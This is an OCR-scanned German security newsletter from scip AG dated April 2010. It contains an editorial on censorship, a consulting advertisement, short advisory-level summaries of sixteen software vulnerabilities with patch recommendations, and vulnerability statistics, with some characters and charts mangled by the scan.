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1. Editorial
Von Zensur und Doppelmoral

In frihester Kindheit habe ich mich mit TrAumen
auseinandergsetzt. Fortwahrend von wirren
Geschichten verfolgt, stiess ich schon bald auf
die jeweiligen Schriften Sigmund Freuds. Durch
die Sekundarliteratur zu seinen Traumdeutungen
in meinem Interesse bestéarkt, begann ich mich
alsbald fir den Mann hinter den Analysen zu
interessieren. Die Biographie des Juden Freuds
war eine der ersten, die ich gelesen habe.

Durch die Hintergrinde seines Lebens
beschéftigte ich mich bald mit dem Dritten Reich.
Dass zur damaligen Zeit Greueltaten im Sinne
der nationalen Politik vorangetrieben wurden,
bestreiten heute wohl nur noch die wirrsten
Geister (Holocaustleugnung). In ganz
besonderer Weise hat mich eine eigentlich doch
eher unspektakulare  Aktion der Nazis
erschittert: Die Blcherverbrennung von 1933
auf dem damaligen Opernplatz.

Bucher, die von Untermenschen oder solchen,
die mit diesen sympathisierten, geschrieben
wurden, wurden den Flammen geopfert. Damit
brachten die Mannen unter Adolf Hitler die
Verachtung zum Ausdruck, die sie diesen
Arbeiten beizumessen pflegten. Und, vielleicht
war es so, sollte dieser Akt die in vielen
Bereichen (berragenden Leistungen  der
Untermenschen zu unterdriicken in der Lage

sein. Man wollte ja schliesslich nicht
eingestehen, dass auch "das minderwertige Volk
der Juden" zu guten Leistungen fahig sei.

Erschiittert war ich im Herzen. Damals wie heute
ist es mir unbegreiflich, wie eine Gesellschaft
ihren Hass in so plumper Weise auf eine Gruppe
fokussieren kann, in der Hoffnung, damit die
sozialen Probleme ihrer Zunft zu lésen. Die
Biicher von Grossen wie Thomas Mann, Albert
Einstein oder Erich Kastner hatten wohl nur
wenig damit zu tun, dass Europa zu dieser Zeit
so war, wie es halt eben zu sein schien.

In der heutigen Zeit wird eine anderen Form der
"Blicherverbrennung" gewahrt. Totalitare und
pseudo-demokratische Staaten folgen dem
Prinzip der Informationszensur auch auf digitaler
Ebene. Popularstes Beispiel die Volksrepublik
China, in der Zugriffe auf IP-Adressen limitiert
und Webseiten gefiltert werden. Die Daten
werden also durch eine Firewall verbrannt - Eher
stil und heimlich, weder pompds und
werbetrachtig. Der Iran tat es bei den
umstrittenen  Prasidentschaftswahlen  gleich,
stellte sich denn schnell heraus, dass vor allem
Twitter das unliebsame Tor zur freien
Meinungsausserung aufstossen sollte.

Frei nach dem Postulat Immanuel Kants, dass
die Erkenntnis ein Erzeugnis aus These,
Antithese und Synthese darstellt, kann das
Einschréanken des Informationsaustauschs
eigentlich nie der Wahrheitsfindung dienlich sein.
Derjenige, der Zensur anstrebt, will also die
Verbreitung der Wahrheit verhindern, um sich
wohlmaoglich selbst einen Vorteil zu verschaffen.
China ist nicht das einzige korrupte System, das
mit derartigen Mitteln gegen die Oppositionen
vorzugehen pflegt. Mit Vladimir Putin und Silvio
Berlusconi haben auch Europa ihre Medien-
Diktatoren.

Informationsfreiheit ist also wichtig und richtig.
Immer? Obschon Zensur in westlichen Landern
(z.B. in Deutschland die "Vorzensur") per Gesetz
untersagt ist, kommen unter dem Deckmantel
von Jugendschutz und der Rassismus Strafnorm
immerwieder derartige Vorgehen zum Tragen.
Die Liste der zensierten und auf dem Index
festgehaltenen Publikationen ist lang.
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Meines Erachtens bleibt es fragwurdig, ob Titel
wie "Mein Kampf" des ehemaligen
Reichskanzlers wirklich verboten sein sollten.
Derjenige, der sich kritisch mit dem Werk
auseinandersetzen mdochte, der solle dies tun.
Dann wird er die Hintergriinde und Widerspriiche
selber erfahren und damit die Synthese seiner
Erkenntnis erlangen kénnen. Eine Zuriickhaltung
der Informationen als Bevormundung des
Birgers bleibt nicht winschenswert. Wir dem
widerspricht, zweifelt an der Muindigkeit des
Volkes.

Verstandnis fir "Zensur" zu Gunsten des
Jugendschutzes, wo er denn angebracht ist,
kann ich eher aufbringen. Es erscheint mir Klar,
dass pornographisches Material der hartesten
Sorte nicht Kindern und Jugendlichen zuganglich
gemacht werden sollte. Doch, so frage ich mich,
wieso seit jeher der anonyme Bezug von
Zigaretten Uber entsprechende 6ffentliche
Automaten gebilligt wird, obschon die negativen
Auswirkungen klar belegt sind.

Samtliche Gesellschaften sind gepragt durch
Doppelmoral. Ein Suizid gilt im Islam (wie auch
im Christentum) als Siinde. Dem Sindiger wiirde
der Eintritt ins Paradies verwehrt bleiben. Durch
einen Freitod innerhalb eines Heiligen Kriegs die
"Feinde des Glaubens" mitzureissen, wird jedoch
von Extremisten als lobenswerte Aufopferung
verstanden. Als Belohnung wiirde das Paradies
und haufenweise Jungfrauen warten.

In  anderen Gruppen gilt die aufrichtige
Selbsttétung als Ehre und letzter Ausweg. Der
heldenhafte Suizid wird in der traditionellen
asiatischen Kultur der erniedrigenden
Gefangennahme vorgezogen. Die Handlung ist
stets die gleiche. Vielleicht auch die Absichten.
Aber das Umfeld bestimmt, ob die Tat
verachtens- oder lobenswert bleibt. Ort und Zeit
haben Einfluss darauf, in welchem Licht die
Dinge erscheinen.

Die Juristen und Politiker werfen in einer
Diskussion zu komplexen Themen gerne den
Begriff der "Verhaltnismassigkeit" in den Raum,
um Entscheide und Handlungen zu rechtfertigen.
Dass diese Relationierung jedoch von hochst
subjektiver Natur ist, wird nur selten o6ffentlich
zugegeben. Ein bdser Nachgeschmack von
Willkuir bleibt. Was vor 50 Jahren als schicklich
galt, wird heute verpdnt, vielleicht gebilligt. Und
genauso wird es uns in 50 Jahren ergehen.

Marc Ruef <maru-at-scip.ch>
Security Consultant
Zirich, 1. Februar 2010

© scip AG

2. scip AG Informationen

2.1 Security Coaching

Das Ziel des Security Coaching ist die direkte
Beratung und das unmittelbare Coaching des
Kunden in den Bereichen der Information Securi-
ty zur Sicherstellung nachhaltiger und sicherer
Prozesse, Architektur- und Technologieentschei-
de.

Der Kunde bespricht mit uns seine Ziele und
Vorgaben. Anhand dessen unterstiitzen wir den
Kunden mit unserer fachméannischen Expertise
und langjahrigen Erfahrung im Security Bereich.
Bei Sitzungen mit Partnern stellen wir das ent-
sprechende Know-How zur Formulierung wichti-
ger Nachfragen zur Verfligung.

e Vorbereitung: Zusammentragen aller vor-
handenen Informationen zur anstehenden
Aufgabe.

e Research: Einholen von weiteren Informatio-
nen (z.B. Erfahrungen von anderen Kunden).

e Diskussion: Besprechung der Aufgabe und
der daraus resultierenden Mdoglichkeiten.

e Empfehlung: Aussprechen und Dokumentie-
ren eines vertretbaren Losungswegs.

In erster Linie soll in beratender Weise eine di-
rekte Hilfestellung mit konkreten Empfehlungen
und Lésungen bereitgestellt werden. Eine Doku-
mentation (Protokolle, Kommunikationsmatrizen,
Statements etc.) erfolgt auf Wunsch des Kunden.

Durch die direkte Beteiligung an einem Projekt
kann unmittelbar Einfluss ausgeulbt, damit die
Etablierung schwerwiegender Fehler verhindert
und ein Hochstmass an Sicherheit erreicht wer-
den. Da Sicherheit von Beginn an zur Diskussion
steht, lassen sich Schwachstellen von vornherein
vermeiden. Aufwendigen Tests und nachtragli-
che Anpassungen kénnen so vorgebeugt wer-
den.

Dank unserer langjéhrigen Erfahrung und unse-
rem ausgewiesenen Expertenwissen konnten wir
als scip AG bereits eine grosse Anzahl an Kun-
den beraten und begleiten.

Zahlen auch Sie auf uns!
http://www.scip.ch/?firma.referenzenalle

Zogern Sie nicht und kontaktieren Sie unseren
Herrn Chris Widmer unter der Telefonnummer
+41 44 404 13 13 oder senden Sie im eine Mail
an chris.widmer@scip.ch.
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Die erweiterte Auflistung hier bespro-
chener Schwachstellen sowie weitere
Sicherheitsliicken sind unentgeltlich in
unserer Datenbank unter
http://www.scip.ch/?vuldb einsehbar.

liefern Ihnen jene Informationen, die
genau fir lhre Systeme relevant sind.

[ ' Die Dienstleistungspakete)scip( pallas

9
8
7 1 I
6 I
5 I
4 1
31 I
21
14
04
Mrz 10 Apr 10
B sehr kritisch 1 0
@ kritisch 3 8
O problematisch 8 7

Contents:

4115 Cisco I0S SIP Implementation
verschiedene Schwachstellen

4114 Cisco IOS Label Distribution Protocol
Denial of Service

4111 VMware Server Console Script
Insertion Schwachstelle

4110 Cisco TFTP Server Denial of Service

4109 Apple Mac OS X Apple Type Services
Indexing

4108 Adobe Reader/Acrobat verschiedene
unspezifizierte Schwachstellen

4107 Microsoft Windows Kernel Denial of
Service Schwachstellen

4106 Microsoft Windows Kernel Privilege
Escalation und Denial of Service

4105 Microsoft Windows SMB Client
verschiedene Schwachstellen

4104 Microsoft Exchange / Windows SMTP
Service verschiedene Schwachstellen

4102 Microsoft Windows Authentication
Verification verschiedene
Schwachstellen

4100 Microsoft Windows MPEG Layer-3
Codecs Puffertiberlauf

4095 MediaWiki Login Cross-Site Request
Forgery

4094 Foxit Reader Ausfiihrung von
Systembefehlen

4093 Mozilla Firefox DOM Node Moving Use-
After-Free Schwachstelle

4092 Apple AirPort Base Station Umgehung

3.1 Cisco IOS SIP Implementation
verschiedene Schwachstellen

Risiko: [y

Remote: Ja

Datum: 25.03.2010

scip DB: http://www.scip.ch/?vuldb.4115

Cisco Systems, Inc. ist ein US-amerikanisches
Unternehmen aus der
Telekommunikationsbranche. Bekannt ist es vor
allem fur seine Router und Switches, die einen
groRen Teil des Internet-Backbones versorgen.
Die Firma Cisco identifizierte unlangst eine
Schwachstelle (Pufferiberlauf) in aktuellen
Versionen der vorliegenden Applikation. Durch
die Ausnutzung der vorliegenden Schwachstelle
kann unter Umstanden beliebiger Code zur
Ausfihrung gebracht werden, was zur
Kompromittierung des Systems fiihren kann.

Expertenmeinung:

Cisco scheint dieses Monat zu nutzen, um 10S
einer kleineren Wartungsaktion zu unterziehen.
Wie auch bei den verschiedenen DoS
Schwachstellen sollte im vorliegenden Fall mit
dem Einspielen entsprechender Patches auf
betroffenen Systemen reagiert werden.

3.2 Cisco IOS Label Distribution
Protocol Denial of Service

Risiko: problematisch

Remote: Ja

Datum: 25.03.2010

scip DB: http://www.scip.ch/?vuldb.4114

Cisco Systems, Inc. ist ein US-amerikanisches
Unternehmen aus der
Telekommunikationsbranche. Bekannt ist es vor
allem fur seine Router und Switches, die einen
groRen Teil des Internet-Backbones versorgen.
Die Firma Cisco verdffentlichte unlangst ein
Advisory, indem er eine Schwachstelle (Denial of
Service (DoS)) in verschiedenen Versionen des
Produktes beschreibt. Durch die Ausnutzung der
Schwachstelle kann ein Angreifer einen Denial of
Service Angriff erzeugen und damit den Betrieb
des Systems und der entsprechenden
Umsysteme empfindlich storen.

Expertenmeinung:

Und noch ein DoS in verschiedenen Cisco
Produkten. Auch hier gilt: Betroffene Systeme
sollten zeitnah gepatcht werden.
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3.3 VMware Server Console Script
Insertion Schwachstelle

Risiko: problematisch

Remote: Teilweise

Datum: 30.03.2010

scip DB: http://www.scip.ch/?vuldb.4111

VMware, Inc., ist ein US-amerikanisches
Unternehmen, das Software im Bereich der
Virtualisierung entwickelt. Das Unternehmen
wurde 1998 mit dem Ziel gegrindet, eine
Technik zu entwickeln, virtuelle Maschinen auf
Standard-Computern zur Anwendung zu bringen.
Das bekannteste Produkt ist VMware
Workstation. Der Researcher Craig Marshall
veroffentlichte unlangst ein Advisory, indem er
eine Schwachstelle (Cross Site Scripting (XSS))
in verschiedenen Versionen des Produktes
beschreibt. Durch die Ausnutzung der
Schwachstelle kann ein Angreifer beliebigen
Scriptcode im Kontext der Applikation ausfll hren
und damit diverse webbasierte Attacken
umsetzen.

Expertenmeinung:

VMWare Server wird in vielen Unternehmen mit
beachtlicher Grosse umgesetzt und ist daher ein
populdres Ziel fir Angreifer. Die vorliegende
Schwachstelle kann jedoch im Regelfall nur lokal
ausgenutzt werden und ist somit als reduziert
kritisch  zu betrachten. Betroffene Systeme
sollten einem Monitoring unterstellt werden, um
eventuelle Zwischenfélle zu identifizieren und
entsprechend reagieren zu kénnen.

3.4 Cisco TFTP Server Denial of
Service

Risiko: problematisch

Remote: Ja

Datum: 26.03.2010

scip DB: http://www.scip.ch/?vuldb.4110

Cisco Systems, Inc. ist ein US-amerikanisches
Unternehmen aus der
Telekommunikationsbranche. Bekannt ist es vor
allem fur seine Router und Switches, die einen
groRen Teil des Internet-Backbones versorgen.
Das betroffene Produkt ist ein TFTP Server, der
in verschiedenen Produkten der Firma enthalten
ist. Eine Person, die unter dem Namen
_SuBz3r0_ auftritt verdffentlichte unlangst ein
Advisory, indem er eine Schwachstelle
(Unbekannt) in verschiedenen Versionen des
Produktes beschreibt. Durch die Ausnutzung der
Schwachstelle kann ein Angreifer einen Denial of
Service Angriff erzeugen und damit den Betrieb
des Systems und der entsprechenden
Umsysteme empfindlich storen.

© scip AG

Expertenmeinung:

Uber die vorliegende Schwachstelle ist kaum
etwas bekannt. Betroffene Systeme sollten
zeitnah gepruft werden, um Zwischenfélle zu
vermeiden.

3.5 Apple Mac OS X Apple Type
Services Indexing

Risiko: [y

Remote: Ja

Datum: 15.04.2010

scip DB: http://www.scip.ch/?vuldb.4109

Mac OS X (offizielle Sprechweise: Mac OS 10,
nicht als Buchstabe "X") ist ein vom
Unternehmen Apple entwickeltes
Betriebssystem. OS X ist die aktuelle Version
aus der Produktlinie der Mac OS-
Betriebssysteme flr die hauseigenen Macintosh-
Computer. Es ist eine proprietare Distribution des
frei erhaltlichen Darwin-Betriebssystems von
Apple. OS X basiert als zweites Apple-
Betriebssystem (nach A/UX) auf Unix und stellt
damit dessen bisher erfolgreichste kommerzielle
Variante auf dem Markt flr Personal Computer
dar. Es kommt in abgewandelter Form beim
Smartphone iPhone, dem iPad und dem
tragbaren Medienabspielgerat iPod touch zum
Einsatz. Der Researcher Charlie Miller
veroffentlichte unlangst ein Advisory, indem er
eine Schwachstelle (Pufferliberlauf) in
verschiedenen  Versionen des  Produktes
beschreibt.  Durch die  Ausnutzung der
vorliegenden  Schwachstelle  kann  unter
Umstanden beliebiger Code zur Ausflhrung
gebracht werden, was zur Kompromittierung des
Systems fiihren kann.

Expertenmeinung:

Die vorliegende Schwachstelle ist als kritisch zu
betrachten und sollte durch das Einspielen
entsprechender Patches addressiert werden.

3.6 Adobe Reader/Acrobat
verschiedene unspezifizierte
Schwachstellen

Risiko: [y

Remote: Ja

Datum: 14.04.2010

scip DB: http://www.scip.ch/?vuldb.4108

Unter Adobe Acrobat wird eine Gruppe von
Programmen zusammengefasst, die zum Lesen,
Erstellen, Verwalten, = Kommentieren und
Verteilen von PDF-Dateien verwendet werden.
Dieses kostenpflichtige Programmpaket des
Software-Unternehmens Adobe Systems enthalt
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ein Anwendungsprogramm zum Erstellen und
Bearbeiten von PDF-Dokumenten. Adobe bietet
in seiner Acrobat-Familie weitgehende
Unterstiitzung von digitalen  Unterschriften
(Signaturen) und grundséatzliche Unterstitzung
von Verschliisselungstechnologien. Die Firma
Adobe identifizierte unlangst eine Schwachstelle
(Unbekannt) in aktuellen Versionen der
vorliegenden Applikation. Ein Angreifer kann
durch die vorliegende Schwachstelle beliebigen
Code zur Ausfihrung bringen und somit die
Kompromittierung des Systems anstreben.

Expertenmeinung:

Leider sind im Falle der vorliegenden
Schwachstellen keine konkreten Details seitens
des Herstellers bekanntgegeben worden. Es ist
jedoch  davon  auszugehen, dass die
Schwachstellen in  bester Tradition der
Softwarereihe  als durchaus kritisch  zu
betrachten sind. Die flachendeckende Verteilung
der entsprechenden Updates seitens Adobe ist
daher als hoch zu priorisieren, um die
Ausnutzung im Rahmen flachendeckender
Angriffe zu vermeiden.

3.7 Microsoft Windows Kernel Denial of
Service Schwachstellen

Risiko: problematisch

Remote: Ja

Datum: 13.04.2010

scip DB: http://www.scip.ch/?vuldb.4107

Microsoft Windows ist ein Markenname fir
Betriebssysteme des Unternehmens Microsoft.
Urspriinglich  war Microsoft Windows eine
grafische Erweiterung des Betriebssystems MS-
DOS (wie beispielsweise auch GEM oder
PC/GEOS). Inzwischen wurde dieser
Entwicklungszweig zugunsten der Windows-NT-
Produktlinie aufgegeben und Windows
bezeichnet das Betriebssystem als Ganzes. Der
Name Windows (engl.: Fenster) rihrt daher,
dass aktive Anwendungen als rechteckige
Fenster auf dem Bildschirm dargestellt werden.
Der Researcher Martin Tofall der Firma
Obsidium Software beschreibt in einem Advisory
eine Schwachstelle (Denial of Service (DoS)) in
aktuellen Versionen der Applikation. Durch die
Ausnutzung der Schwachstelle kann ein
Angreifer einen Denial of Service Angriff
erzeugen und damit den Betrieb des Systems
und der entsprechenden Umsysteme empfindlich
storen.

Expertenmeinung:

Auch hier handelt es sich lediglich um eine DoS
Schwachstelle fir neuere Windows Systeme -
dennoch sollte hier Vorsicht angebracht sein.

© scip AG

Das Einspielen entsprechender Patches sei an
dieser Stelle empfohlen.

3.8 Microsoft Windows Kernel Privilege
Escalation und Denial of Service

Risiko: problematisch

Remote: Nein

Datum: 13.04.2010

scip DB: http://www.scip.ch/?vuldb.4106

Microsoft Windows ist ein Markenname fir
Betriebssysteme des Unternehmens Microsoft.
Urspriinglich  war Microsoft Windows eine
grafische Erweiterung des Betriebssystems MS-
DOS (wie beispielsweise auch GEM oder
PC/GEOS). Inzwischen wurde dieser
Entwicklungszweig zugunsten der Windows-NT-
Produktlinie aufgegeben und Windows
bezeichnet das Betriebssystem als Ganzes. Der
Name Windows (engl.: Fenster) rihrt daher,
dass aktive Anwendungen als rechteckige
Fenster auf dem Bildschirm dargestellt werden.
Die Firma Microsoft beschreibt in einem Advisory
eine Schwachstelle (Denial of Service (DoS)) in
aktuellen Versionen der Applikation. Durch die
Ausnutzung der Schwachstelle kann ein
Angreifer einen Denial of Service Angriff
erzeugen und - unter Umstanden - beliebigen
Code zur Ausfiihrung bringen.

Expertenmeinung:

Zwar kann, nach aktuellem Ermessen, unter
Zuhilfenahme der vorliegenden Schwachstelle
lediglich ein Denial of Service erreicht werden.
Dennoch sollten die zur Verfigung gestellten
Patches zeitnah installiert werden, um weitere
Eskalationen zu vermeiden.

3.9 Microsoft Windows SMB Client
verschiedene Schwachstellen

Risiko: [y

Remote: Ja

Datum: 13.04.2010

scip DB: http://www.scip.ch/?vuldb.4105

Microsoft Windows ist ein Markenname fir
Betriebssysteme des Unternehmens Microsoft.
Urspriinglich  war Microsoft Windows eine
grafische Erweiterung des Betriebssystems MS-
DOS (wie beispielsweise auch GEM oder
PC/GEOS). Inzwischen wurde dieser
Entwicklungszweig zugunsten der Windows-NT-
Produktlinie aufgegeben und Windows
bezeichnet das Betriebssystem als Ganzes. Der
Name Windows (engl.: Fenster) rihrt daher,
dass aktive Anwendungen als rechteckige
Fenster auf dem Bildschirm dargestellt werden.
Der Researcher Laurent Gaffié der Firma
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stratsec identifizierte unlangst eine
Schwachstelle (Pufferiberlauf) in aktuellen
Versionen der vorliegenden Applikation. Ein
Angreifer kann durch die vorliegende
Schwachstelle beliebigen Code zur Ausfiihrung
bringen und somit die Kompromittierung des
Systems anstreben.

Expertenmeinung:

Die vorliegenden Schwachstellen sind als kritisch
zu werten, zumal sie unter Umstanden eine
vollstandige Kompromittierung des Zielsystems
zulassen. Wie ublich, ist in solchen Féllen das
zeitnahe Integrieren entsprechender Patches
angezeigt.

3.10 Microsoft Exchange / Windows
SMTP Service verschiedene
Schwachstellen

Risiko: problematisch

Remote: Ja

Datum: 13.04.2010

scip DB: http://www.scip.ch/?vuldb.4104

Microsoft Windows ist ein Markenname fur
Betriebssysteme des Unternehmens Microsoft.
Urspriinglich  war Microsoft Windows eine
grafische Erweiterung des Betriebssystems MS-
DOS (wie beispielsweise auch GEM oder
PC/GEOS). Inzwischen wurde dieser
Entwicklungszweig zugunsten der Windows-NT-
Produktlinie aufgegeben und Windows
bezeichnet das Betriebssystem als Ganzes. Der
Name Windows (engl.: Fenster) ridhrt daher,
dass aktive Anwendungen als rechteckige
Fenster auf dem Bildschirm dargestellt werden.
Die Firma Microsoft identifizierte unlangst eine
Schwachstelle (Denial of Service (DoS)) in
aktuellen Versionen der vorliegenden
Applikation.  Durch  die  Ausnutzung der
Schwachstelle kann ein Angreifer einen Denial of
Service Angriff erzeugen und damit den Betrieb
des Systems und der entsprechenden
Umsysteme empfindlich storen.

Expertenmeinung:

Die vorliegende Schwachstelle wird in erster
Linie interne Systeme betreffen, die nur limitiert
exponiert sind. Damit ist die
Eintrittswahrscheinlichkeit entsprechender
Attacken eher als reduziert zu werten. Dennoch
wird auch im vorliegenden Fall das Einspielen
entsprechender Patches stark empfohlen.

© scip AG

3.11 Microsoft Windows Authentication
Verification verschiedene
Schwachstellen

Risiko:  problematisch

Remote: Ja

Datum: 13.04.2010

scip DB: http://www.scip.ch/?vuldb.4102

Microsoft Windows ist ein Markenname fur
Betriebssysteme des Unternehmens Microsoft.
Urspriinglich  war Microsoft Windows eine
grafische Erweiterung des Betriebssystems MS-
DOS (wie beispielsweise auch GEM oder
PC/GEOS). Inzwischen wurde dieser
Entwicklungszweig zugunsten der Windows-NT-
Produktlinie aufgegeben und Windows
bezeichnet das Betriebssystem als Ganzes. Der
Name Windows (engl.: Fenster) rihrt daher,
dass aktive Anwendungen als rechteckige
Fenster auf dem Bildschirm dargestellt werden.
Die Firma Microsoft beschreibt in einem Advisory
eine Schwachstelle (Puffertiberlauf) in aktuellen
Versionen der Applikation. Diese Schwéache
erlaubt es einem Angreifer, Kontroller Gber das
System zu erlangen und seine Rechte zu
erweitern.

Expertenmeinung:

Zwar kann die vorliegende Schwachstelle nur
unter gewissen Bedingungen ausgenutzt
werden, die nicht Ublicherweise gegeben sind,
trotzdem sollte der vorliegenden Schwachstelle
entsprechende Bedeutung geschenkt werden.
Das Einspielen der entsprechenden Patches
binnen nitzlicher Frist sollte angestrebt werden.

3.12 Microsoft Windows MPEG Layer-3
Codecs Puffertberlauf

NEI e Kritisch

Remote: Ja

Datum: 13.04.2010

scip DB: http://www.scip.ch/?vuldb.4100

Microsoft Windows ist ein Markenname fur
Betriebssysteme des Unternehmens Microsoft.
Urspriinglich  war Microsoft Windows eine
grafische Erweiterung des Betriebssystems MS-
DOS (wie beispielsweise auch GEM oder
PC/GEOS). Inzwischen wurde dieser
Entwicklungszweig zugunsten der Windows-NT-
Produktlinie aufgegeben und Windows
bezeichnet das Betriebssystem als Ganzes. Der
Name Windows (engl.: Fenster) ridhrt daher,
dass aktive Anwendungen als rechteckige
Fenster auf dem Bildschirm dargestellt werden.
Der Researcher Yamata Li der Firma Palo Alto
Networks identifizierte unlangst eine
Schwachstelle  (Pufferiiberlauf) in  aktuellen
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Versionen der vorliegenden Applikation. Durch
die Ausnutzung der vorliegenden Schwachstelle
kann unter Umstanden beliebiger Code zur
Ausfihrung gebracht werden, was zur
Kompromittierung des Systems fiihren kann.

Expertenmeinung:

Die vorliegende Schwachstelle sollte als kritisch
betrachtet werden, zumal die vorliegenden
Komponenten sehr verbreitet anzutreffen sind
und eine hohe Wahrscheinlichkeit einer
erfolgreichen Ausnutzung Uber verschiedene
Plattformen hinweg besitzt. Auch hier sollten
betroffene Administratoren zeitnah reagieren und
entsprechende Patches zur Einspielung bringen.

3.13 MediaWiki Login Cross-Site
Request Forgery

Risiko: problematisch

Remote: Ja

Datum: 07.04.2010

scip DB: http://www.scip.ch/?vuldb.4095

MediaWiki ist eine frei verfl gbare
Verwaltungssoftwar fir Inhalte in Form eines
Wiki-Systems, was bedeutet, dass jeder
Benutzer die Inhalte per Zugriff (ber den
Browser ,ndern kann. Sie wurde urspriinglich fur
die freie Enzyklopadie Wikipedia entwickelt. Die
Firma MediaWiki beschreibt in einem Advisory
eine Schwachstelle (Cross Site Scripting (XSS))
in aktuellen Versionen der Applikation. Durch die
vorliegende Schwachstelle koennen unter
Umstaenden sensitive Aktionen ohne Zutun und
Wissen des Benutzers durchgefuehrt werde, was
eine Vielzahl weitergehender, webbasierter
Angriffe erlaubt.

Expertenmeinung:

MediaWiki gehoért mit zu den verbreitesten Wiki
Plattformen. Betroffene Administratoren sollten
zeitnah auf eine aktualisierte Version upgraden.

3.14 Foxit Reader Ausfuhrung von
Systembefehlen

Risiko:  [4fliey!

Remote: Ja

Datum: 05.04.2010

scip DB: http://www.scip.ch/?vuldb.4094

Foxit Reader ist eine kostenlose Software zum
Anzeigen von PDF-Dateien und somit eine
Alternative zum weitverbreiteten Adobe Reader.
Der Researcher Didier Stevens beschreibt in
einem Advisory eine Schwachstelle
(Designfehler) in aktuellen Versionen der
Applikation. Ein Angreifer kann durch die
vorliegende Schwachstelle beliebigen Code zur
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Ausfiihrung bringen und somit die
Kompromittierung des Systems anstreben.

Expertenmeinung:

Die vorliegende Schwachstelle war Uber weite
Zeitrdume hin bekannt und wurde durch das
Advisory von Didier Stevens erneut ins Licht der
Offentlichtkeit genutzt. Wie oft vorgangig schon
gesagt, sollte der Einsatz von Alternativen zum
Adobe Reader genau so kritisch betrachtet
werden, wie der Einsatz des selbigen.

3.15 Mozilla Firefox DOM Node Moving
Use-After-Free Schwachstelle

Risiko: [y

Remote: Ja

Datum: 02.04.2010

scip DB: http://www.scip.ch/?vuldb.4093

Mozilla Firefox ist ein freier Webbrowser des
Mozilla-Projekts. Der seit Mitte 2002 entwickelte
Open-Source-Webbrowser bietet die Méglichkeit,
eine breite Palette an Erweiterungen zu
implementieren. Firefox ist weltweit nach dem
Internet Explorer der am zweithaufigsten
genutzte Webbrowser. Im deutschen
Sprachraum ist er (Stand: Februar 2010) mit 49,4
% der meistgenutzte Browser, vor dem Internet
Explorer von Microsoft. Ein Researcher der
MWR InfoSecurity (via ZDI) beschreibt in einem
Advisory eine Schwachstelle (Pufferiiberlauf) in
aktuellen Versionen der Applikation. Durch die
Ausnutzung der vorliegenden Schwachstelle
kann unter Umstanden beliebiger Code zur
Ausfihrung gebracht werden, was zur
Kompromittierung des Systems fiihren kann.

Expertenmeinung:

Firefox erfreut sich nach wie vor grosser
Beliebtheit, was diese Schwachstelle naturlich fur
Angreifer interessant macht. Betroffene Benutzer
sollten daher zeitnah das zur Verfligung gestellte
Update einspielen.

3.16 Apple AirPort Base Station
Umgehung von
Zugangsrestriktionen

Risiko: problematisch

Remote: Ja

Datum: 01.04.2010

scip DB: http://www.scip.ch/?vuldb.4092

AirPort ist der von Apple eingetragene
Markenname fllr auf der
Funknetzwerktechnologie (siehe Wireless LAN)
basierende Produkte nach dem IEEE-802.11-
DSSS-Standard wie etwa AirPort Extreme oder
Time Capsule. Der Researcher Guido Lamberty
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identifizierte  unlangst eine  Schwachstelle
(Designfehler) in aktuellen Versionen der
vorliegenden Applikation. Ein Angreifer kann
durch die Nutzung der Schwachstelle gewisse
Zugangslimitierungen umgehen und daher
Zugang zu geschuetzten Bereichen erlangen.

Expertenmeinung:

Die vorliegende Schwachstelle ist als
problematisch  zu  betrachten.  Betroffene
Benutzer und Administratoren sollten zeitnah auf
eine aktualisierte Version umsteigen.
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4. Statistiken Verletzbarkeitemmm %00

Die im Anschluss aufgefiihrten
Statistiken basieren auf den Daten W
der deutschsprachige Verletzbarkeits-

800

700

datenbank der scip AG.
. 600
http://www.scip.ch/?vuldb
500
Zogern Sie nicht uns zu kontaktieren. Falls Sie
spezifische Statistiken aus unserer Verletzbar- 400
keitsdatenbank wiinschen so senden Sie uns
eine E-Mail an mailto:info@scip.ch. Gerne neh- 300
men wir lhre Vorschlage entgegen.
200
Auswertungsdatum: 19. April 2010 100
0

2003 | 2004 | 2005 | 2006 | 2007 | 2008 | 2009 | 2010

problematisch | 170 | 287 | 423 | 396 | 419 | 176 70 21
W kritisch 214 | 314 | 402 | 442 | 229 | 140 72 16
m sehr kritisch 56 15 15 6 11 11 21 3

Verlauf der Anzahl Schwachstellen pro Jahr

16

14

12

10

2010 - Feb - 2010 - Apr

—e— Cross Site Scripting 1 1

(Xss)
2010 - Feb 2010 - Mrz 2010 - Apr —=#— Denial of Service (DoS) 5 3
. Designfehler 2 1 3
problematlsch 3 8 7 < Directory Traversal

W kritisch 4 3 8 —%— Eingabeungitigkeit

—e— Fehlende

m sehr kritisch 1 1 Authentifizierung

. —+— Fehlende

Verlauf der letzten drei Monate Schwachstelle/Schweregrad Verschiisselung

—=— Fehlerhafte Leserechte

—~—— Fehlerhafte
Schreibrechte

0

Format String

Konfigurationsfehler

Pufferiberlauf 5 4 7
~ Race-Condition
~ schwache

& Schwache

Verlauf der letzten drei Monate Schwachstelle/Kategorie

scip monthly Security Summary 19.04. 2010 m—



http://www.scip.ch/?vuldb
mailto:info@scip.ch

INFO@SCIP.CH
[ BADENERSTRASSE 551 | 8048 ZURICH |

)scip(

I —

Js(]

scip monthly Security Summary 19.04. 2010 m—

© scip AG

Registrierte Schwachstellen by scip AG

2010 - Jan

2010 - Feb

2010 - Mrz

2010 - Apr

2010 - Mai

2010 - Jun
2010 - Jul
2010 - Aug
2010 - Sep
2010 - Okt
2010 - Nov
2010 - Dez

Verlauf der Anzahl Schwachstellen pro Monat - Zeitperiode 2010

2010 - Jan | 2010 - Feb | 2010 - Mrz | 2010 - Apr | 2010 - Mai | 2010 - Jun | 2010 - Jul {2010 - Aug|2010 - Sep | 2010 - Okt |2010 - Nov |2010 - Dez
problematisch 3 3 8 7
w kritisch 1 4 3 8
m sehr kritisch 1 1 1

Verlauf der Anzahl Schwachstellen/Schweregrad pro Monat - Zeitperiode 2010
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2020 Jan| 2020 | 2080 1 2010~ o506 hiailo010 - un 2010- dul| 20107 | 2010- fonyg g 2010- | 2010-

Feb Mrz Apr Aug Sep Nov Dez
—a— Cross Site Scripting (XSS) 1 1 1
—a&— Denial of Service (DoS) 1 5 3

Designfehler 2 1 3
~—— Directory Traversal

—%— Eingabeungiltigkeit

—e— Fehlende Authentifizierung

—+— Fehlende Verschliisselung

—— Fehlerhafte Leserechte

—=—— Fehlerhafte Schreibrechte

Format String

Konfigurationsfehler
Pufferiberlauf 3 5 4 7
~— Race-Condition

~—— Schwache Authentifizierung

o Schwache Verschliisselung

SQL-Injection
—=— Symlink-Schw achstelle
—=— Umgehungs-Angriff 1
—&— Unbekannt 1 1

